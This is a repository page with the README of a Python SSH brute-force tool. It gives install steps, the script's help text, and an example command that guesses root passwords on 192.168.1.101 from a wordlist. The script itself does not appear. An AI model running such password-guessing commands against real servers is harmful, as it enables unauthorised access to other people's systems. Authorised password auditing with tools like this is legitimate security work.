You can not select more than 25 topics
Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.
greglebreton
7665f5b8fa
|
2 years ago | |
---|---|---|
README.md | 2 years ago | |
bruteforce_ssh.py | 2 years ago | |
requirements.txt | 2 years ago | |
wordlist.txt | 2 years ago |
README.md
How to Brute-Force SSH Servers in Python
This project aims to demonstrate botted SSH brute force hacking with a Python script. It is used with a dictionnary (wordlist.txt).
INSTALLATION
pip3 install -r requirements.txt
- Help:
Output:python bruteforce_ssh.py --help
usage: bruteforce_ssh.py [-h] [-P PASSLIST] [-u USER] host SSH Bruteforce Python script. positional arguments: host Hostname or IP Address of SSH Server to bruteforce. optional arguments: -h, --help show this help message and exit -P PASSLIST, --passlist PASSLIST File that contain password list in each line. -u USER, --user USER Host username.
UTILISATION
If you want to bruteforce against the server 192.168.1.101
for example, the user root
and a password list of wordlist.txt
:
python bruteforce_ssh.py 192.168.1.101 -u root -P wordlist.txt
UPDATE
- 09/11/22: add "allow_agent=False,look_for_keys=False" to client.connect() args to avoid "Quota exceeded, retrying with delay..." error.